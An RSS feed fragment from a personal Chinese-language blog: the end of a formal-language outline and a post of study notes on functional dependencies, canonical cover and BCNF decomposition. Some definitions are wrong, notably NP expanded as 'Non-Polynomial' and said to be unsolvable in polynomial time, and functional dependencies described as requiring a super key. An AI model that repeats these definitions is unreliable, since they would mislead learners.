class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0715em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord">11</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner">…</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0715em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">n</span><span class="mbin mtight">−</span><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2083em;"><span></span></span></span></span></span></span><span class="mord">11</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:-0.0715em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>，其中 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>C</mi><mi>i</mi></msub></mrow><annotation encoding="application/x-tex">C_i</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.0715em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> 为 transition。</li>
</ul>
</li>
</ul>
</li>
</ul>
<h3 id="np-与-p"><a href="#np-与-p">NP 与 P</a></h3>
<ul>
<li>P 问题：可以在多项式时间内求解的判定问题 Polynomial Problem</li>
<li>NP 问题：Non-Polynomial 不可以在多项式时间内解决的问题</li>
<li>NPC 问题：Non-Polynomial Complete NP 中的某些问题的复杂性与整个类的复杂性相关联。这些问题中任何一个如果存在多项式时间的算法，那么所有 NP 问题都是多项式时间可解的。这些问题被称为 NP - 完全问题 (NPC 问题)。</li>
</ul>
<p><em>The End</em></p>]]></description>
            <link>https://jtchen.io/blog/formal-language-outline</link>
            <guid isPermaLink="false">formal-language-outline</guid>
            <dc:creator><![CDATA[Juntong Chen]]></dc:creator>
            <pubDate>Thu, 03 Sep 2020 00:00:00 GMT</pubDate>
        </item>
        <item>
            <title><![CDATA[关于函数依赖，正则覆盖与 BCNF 范式分解]]></title>
            <description><![CDATA[<p>复习数据库系统时刚好接触到这部分内容。有几个相对重要而难理解的概念，教材的语言十分形式化，在这里稍作一下直观的整理。</p>
<!-- more -->
<h3 id="目录"><a href="#目录">目录</a></h3>
<ul>
<li><a href="#%E5%87%BD%E6%95%B0%E4%BE%9D%E8%B5%96-functional-depencendy">函数依赖 Functional Depencendy</a></li>
<li><a href="#boyce-codd-%E8%8C%83%E5%BC%8F-bcnf">Boyce-Codd 范式 BCNF</a></li>
<li><a href="#%E5%B1%9E%E6%80%A7%E9%97%AD%E5%8C%85-attribute-closure-%E4%B8%8E%E6%AD%A3%E5%88%99%E8%A6%86%E7%9B%96-cononical-coverage">属性闭包 Attribute Closure 与正则覆盖 Cononical Coverage</a></li>
<li><a href="#bcnf-%E7%9A%84%E5%88%86%E8%A7%A3">BCNF 的分解</a></li>
</ul>
<h3 id="函数依赖-functional-depencendy"><a href="#函数依赖-functional-depencendy">函数依赖 Functional Depencendy</a></h3>
<p>可以理解为属性 R 中的一个元组 t1 （这个元组需要是这个关系的 super key，即能够标识整个属性集合）决定了另一系列元组 t2 的值。例如部门决定了预算，则有函数依赖 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>d</mi><mi>e</mi><mi>p</mi><mi>t</mi><mo>→</mo><mi>b</mi><mi>u</mi><mi>d</mi><mi>g</mi><mi>e</mi><mi>t</mi></mrow><annotation encoding="application/x-tex">dept \rightarrow budget</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">d</span><span class="mord mathnormal">e</span><span class="mord mathnormal">pt</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">→</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">b</span><span class="mord mathnormal">u</span><span class="mord mathnormal">d</span><span class="mord mathnormal" style="margin-right:0.03588em;">g</span><span class="mord mathnormal">e</span><span class="mord mathnormal">t</span></span></span></span>。</p>
<p>函数依赖分为平凡函数依赖和非平凡函数依赖。函数依赖 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>X</mi><mo>→</mo><mi>Y</mi></mrow><annotation encoding="application/x-tex">X \rightarrow Y</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">→</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.22222em;">Y</span></span></span></span> 中，若 Y 为 X 的子集，则为平凡函数依赖。直观的字面理解就是这种依赖非常的 “普通”，在所有关系中都满足。例如任何属性都能决定自身，函数依赖 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>A</mi><mo>→</mo><mi>A</mi></mrow><annotation encoding="application/x-tex">A \rightarrow A</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">A</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">→</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">A</span></span></span></span> 恒成立。若 Y 不为 X 的子集，则为非平凡函数依赖。通常我们讨论的是非平凡函数依赖。</p>
<p>完全函数依赖指的是 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>X</mi><mo>→</mo><mi>Y</mi></mrow><annotation encoding="application/x-tex">X \rightarrow Y</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">→</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.22222em;">Y</span></span></span></span> 中，X 已经包含了最少的属性。再减少任何一个属性都会破坏函数依赖。例如预算可以完全依赖于部门和年份，这就是一个完全依赖。</p>
<p>而部分函数依赖指的是在 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>X</mi><mo>→</mo><mi>Y</mi></mrow><annotation encoding="application/x-tex">X \rightarrow Y</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">→</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.22222em;">Y</span></span></span></span> 仍然存在 X 的子集 X' 满足 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>X</mi><mo mathvariant="normal" lspace="0em" rspace="0em">′</mo></msup><mo>→</mo><mi>Y</mi></mrow><annotation encoding="application/x-tex">X'
 \rightarrow Y</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7519em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7519em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">→</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.22222em;">Y</span></span></span></span>，例如 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>d</mi><mi>e</mi><mi>p</mi><mi>t</mi><mi mathvariant="normal">_</mi><mi>i</mi><mi>d</mi><mo separator="true">,</mo><mi>d</mi><mi>e</mi><mi>p</mi><mi>t</mi><mi mathvariant="normal">_</mi><mi>n</mi><mi>a</mi><mi>m</mi><mi>e</mi><mo>→</mo><mi>b</mi><mi>u</mi><mi>d</mi><mi>g</mi><mi>e</mi><mi>t</mi></mrow><annotation encoding="application/x-tex">dept\_id, dept\_name \rightarrow budget</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0044em;vertical-align:-0.31em;"></span><span class="mord mathnormal">d</span><span class="mord mathnormal">e</span><span class="mord mathnormal">pt</span><span class="mord" style="margin-right:0.02778em;">_</span><span class="mord mathnormal">i</span><span class="mord mathnormal">d</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">d</span><span class="mord mathnormal">e</span><span class="mord mathnormal">pt</span><span class="mord" style="margin-right:0.02778em;">_</span><span class="mord mathnormal">nam</span><span class="mord mathnormal">e</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">→</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">b</span><span class="mord mathnormal">u</span><span class="mord mathnormal">d</span><span class="mord mathnormal" style="margin-right:0.03588em;">g</span><span class="mord mathnormal">e</span><span class="mord mathnormal">t</span></span></span></span> 中，左侧仅依赖 dept_id 就可以决定预算的值，那么这就是一个部分函数依赖，预算部分依赖于部门 ID 和部门名字。</p>
<p>还有一个传递函数依赖的概念，如果 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>X</mi><mo>→</mo><mi>Y</mi></mrow><annotation encoding="application/x-tex">X \rightarrow Y</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">→</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.22222em;">Y</span></span></span></span>，<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>Y</mi><mo>→</mo><mi>Z</mi></mrow><annotation encoding="application/x-tex">Y \rightarrow Z</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.22222em;">Y</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">→</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">Z</span></span></span></span>，则 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>X</mi><mo>→</mo><mi>Z</mi></mrow><annotation encoding="application/x-tex">X \rightarrow Z</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">→</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">Z</span></span></span></span> 成立。这就是一个传递函数依赖。如员工 -> 部门 ID，部门 ID -> 预算，那么员工 -> 部门预算就是一个传递函数依赖。</p>
<p>通常使用 F 来表示关系 R 中的所有函数依赖，F<sup>+</sup> 来表示由 F 推断出的所有依赖（运用 Armstrong 定理）。</p>
<h3 id="boyce-codd-范式-bcnf"><a href="#boyce-codd-范式-bcnf">Boyce-Codd 范式 BCNF</a></h3>
<p>BCNF 消除了所有基于函数依赖能够发现的冗余，在 BCNF 范式中，对与所有函数依赖 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>X</mi><mo>→</mo><mi>Y</mi></mrow><annotation encoding="application/x-tex">X \rightarrow Y</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">→</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.22222em;">Y</span></span></span></span>， 要么 X 是 R 的一个 super key，如果不是的话那么这个依赖必须是平凡依赖。</p>
<p>教材中不是 BCNF 的一个例子:</p>
<pre><code class="hljs"><div class="code-line numbered-code-line" data-line-number="1">inst_dept (ID, name, salary, dept_name, building, budget)</div></code></pre>
<p>这里存在非平凡函数依赖 dept_name -> budget。但是 dept_name 显然不是这个关系的一个 super key，因为光从部门名称不能标识一个教师的所有信息。这于是就违背了 BCNF 的条件。直观来讲，满足 BCNF 的关系中的所有这种依赖关系，都应当是由 super key 来推断出来的，除了 super key 的推断关系以外，不能再有其他的推断关系。</p>
<p>其实在设计数据库的时候 BCNF 的使用非常直观。比如我们有两个实体：学生和学院，每个学生属于一个学院。在设计数据库的时候，我们一定会把学生及其信息放在一个表中，学院及其信息放在另一个表中，然后在学生表中添加一个外键属性来关联学生和学院之间的关系。相反，我们肯定不会只用一个巨大的 data 表来同时存储学生和学院，让这个表中的每一行都冗余地存储学生的信息和其学院的信息。这种奢侈而愚蠢的的冗余就违背了 BCNF。</p>
<p>那么 BNCF 的分解也可以直观来理解。如果存在一冗余的非平凡依赖，把这个依赖单独提取出来成为一个新的关系即可。</p>
<h3 id="属性闭包-attribute-closure-与正则覆盖-cononical-coverage"><a href="#属性闭包-attribute-closure-与正则覆盖-cononical-coverage">属性闭包 Attribute Closure 与正则覆盖 Cononical Coverage</a></h3>
<p>首先有一个属性闭包的概念。由一个属性能够推断出来的所有函数依赖的属性集合为属性的闭包，记作为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>α</mi><mo lspace="0em" rspace="0em">+</mo></msup></mrow><annotation encoding="application/x-tex">\alpha ^{+}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7713em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0037em;">α</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7713em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">+</span></span></span></span></span></span></span></span></span></span></span></span>。</p>
<p>属性闭包除了可以测试 super key （检查 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>α</mi><mo lspace="0em" rspace="0em">+</mo></msup></mrow><annotation encoding="application/x-tex">\alpha ^{+}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7713em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0037em;">α</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7713em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">+</span></span></span></span></span></span></span></span></span></span></span></span> 是否包含了所有属性）和判断函数依赖（检查 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>β</mi></mrow><annotation encoding="application/x-tex">\beta</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.05278em;">β</span></span></span></span> 是否属于 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>α</mi><mo lspace="0em" rspace="0em">+</mo></msup></mrow><annotation encoding="application/x-tex">\alpha ^{+}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7713em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0037em;">α</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7713em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">+</span></span></span></span></span></span></span></span></span></span></span></span>）以外，还可以用来方便地计算 F<sup>+</sup>。对于每一个属性 x 计算闭包 S，然后依次输出 x -> S。</p>
<p>接下来有无关（extraneous）属性的概念。如果去除函数依赖中的一个属性，不改变该函数依赖集的闭包，则称该属性是无关的。计算方式可以直观理解为：如果有一个函数依赖 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>α</mi><mo>→</mo><mi>β</mi></mrow><annotation encoding="application/x-tex">\alpha \rightarrow \beta</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.0037em;">α</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">→</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.05278em;">β</span></span></span></span>，且<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>A</mi><mo>∈</mo><mi>β</mi></mrow><annotation encoding="application/x-tex">A \in \beta</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7224em;vertical-align:-0.0391em;"></span><span class="mord mathnormal">A</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">∈</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.05278em;">β</span></span></span></span>，那么测试 A 是否是无关属性的方法就是从 F 中去掉 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>α</mi><mo>→</mo><mi>β</mi></mrow><annotation encoding="application/x-tex">\alpha \rightarrow \beta</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.0037em;">α</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">→</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.05278em;">β</span></span></span></span> 这一依赖，增加 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>α</mi><mo>→</mo><mo stretchy="false">(</mo><mi>β</mi><mo>−</mo><mi>A</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">\alpha \rightarrow (\beta - A)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.0037em;">α</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">→</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.05278em;">β</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">A</span><span class="mclose">)</span></span></span></span> 这一依赖，检查能不能从 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>α</mi><mo lspace="0em" rspace="0em">+</mo></msup></mrow><annotation encoding="application/x-tex">\alpha^{+}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7713em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0037em;">α</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7713em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">+</span></span></span></span></span></span></span></span></span></span></span></span> 中推出 A，如果仍然能够推出，那么 A 就是多余的。</p>
<p>正则覆盖可以理解为是消去了无关元素的函数依赖集。计算方法是从 F 使用合并的方式来替换掉所有的依赖，接下来依次删除所有的无关元素。</p>
<p>一个例子：</p>
<p><a data-fslightbox="gallery" href="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-08-31-DMq2BU.png"><img src="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-08-31-DMq2BU.png" alt="2020-08-31-DMq2BU" loading="lazy" data-wrapped="true"></a></p>
<h3 id="bcnf-的分解"><a href="#bcnf-的分解">BCNF 的分解</a></h3>
<p>首先这里由引入了无损连接的概念。即分解后的关系和之前未分解的关系模型相比没有信息损失。形式化的表达为：</p>
<span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><msub><mi mathvariant="normal">Π</mi><msub><mi>R</mi><mn>1</mn></msub></msub><mo stretchy="false">(</mo><mi>r</mi><mo stretchy="false">)</mo><mo>⋈</mo><msub><mi mathvariant="normal">Π</mi><msub><mi>R</mi><mn>2</mn></msub></msub><mo stretchy="false">(</mo><mi>r</mi><mo stretchy="false">)</mo><mo>=</mo><mi>r</mi></mrow><annotation encoding="application/x-tex">\Pi_{R_1}(r) \bowtie \Pi_{R_2} (r) = r</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0001em;vertical-align:-0.2501em;"></span><span class="mord"><span class="mord">Π</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3283em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.00773em;">R</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3173em;"><span style="top:-2.357em;margin-left:-0.0077em;margin-right:0.0714em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.143em;"><span></span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2501em;"><span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">⋈</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.0001em;vertical-align:-0.2501em;"></span><span class="mord"><span class="mord">Π</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3283em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.00773em;">R</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3173em;"><span style="top:-2.357em;margin-left:-0.0077em;margin-right:0.0714em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.143em;"><span></span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2501em;"><span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span></span></span></span></span>
<p>一个有损分解的例子是，将员工分解为</p>
<pre><code class="hljs"><div class="code-line numbered-code-line" data-line-number="1">employee1(ID, name)</div><div class="code-line numbered-code-line" data-line-number="2">employee2(name, street, city, salary)</div></code></pre>
<p>在 Natural Join 之后由于可能有重名存在，这个分解便是有损的。</p>
<p>分解 BCNF 的步骤可以简化为以下几步：</p>
<ul>
<li>寻找 R 中一些属性 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>α</mi></mrow><annotation encoding="application/x-tex">\alpha</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.0037em;">α</span></span></span></span> 的的闭包，如果这个属性的闭包没有包含 R 中的所有元素（即不为 super key），且不为平凡函数依赖，那么需要拆解。</li>
<li>拆解方法：若这个非平凡依赖为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>α</mi><mo>→</mo><mi>β</mi></mrow><annotation encoding="application/x-tex">\alpha \rightarrow \beta</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.0037em;">α</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">→</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.05278em;">β</span></span></span></span>，则将原来的 R 变为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>R</mi><mo>−</mo><mi>β</mi></mrow><annotation encoding="application/x-tex">R - \beta</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.05278em;">β</span></span></span></span>，并构造一个新的关系 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>α</mi><mo>∪</mo><mi>β</mi></mrow><annotation encoding="application/x-tex">\alpha \cup \beta</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.5556em;"></span><span class="mord mathnormal" style="margin-right:0.0037em;">α</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">∪</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.05278em;">β</span></span></span></span>。</li>
<li>依次拆解，直到全部拆解完毕。</li>
</ul>
<p>图解展示这个过程如下：</p>
